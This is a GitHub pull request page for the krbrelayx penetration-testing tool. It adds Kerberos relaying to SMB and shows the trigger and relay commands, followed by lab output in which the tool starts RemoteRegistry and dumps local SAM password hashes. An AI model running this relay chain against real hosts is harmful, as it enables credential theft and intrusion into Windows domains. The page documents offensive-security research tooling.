Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Kerberos relay support for * -> SMB #46

Merged
merged 1 commit into from
Dec 10, 2024

Conversation

hugo-syn
Copy link
Contributor

@hugo-syn hugo-syn commented Dec 2, 2024

Hi @dirkjanm, as discussed here is my implementation for relaying all protocols to SMB.

First trigger the authentication:

$ smbclient.py -dc-ip 10.42.0.5 -target-ip 127.0.0.1 -k -no-pass "DEV.LOCAL/[email protected]"

Then relay:

$ python3 krbrelayx.py -t smb://bast01.dev.local
[*] Protocol Client SMB loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Running in attack mode to single host
[*] Running in kerberos relay mode because no credentials were specified.
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Setting up DNS Server

[*] Servers started, waiting for connections
[*] SMBD: Received connection from 127.0.0.1
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x156a35f4f55f1455cc86052ac65cbaf9
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Done dumping SAM hashes for host: bast01.dev.local
[*] Stopping service RemoteRegistry

I took the code from impacket for the kerberos authentication part from an AP_REQ you can compare it:

I've implemented it for SMB1 and SMB2/3 however I did not test this against SMBv1.

@dirkjanm dirkjanm merged commit 4f3de1b into dirkjanm:master Dec 10, 2024
@dirkjanm
Copy link
Owner

I will need to find some time to test this, but merging it in for now, thanks for the great work!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants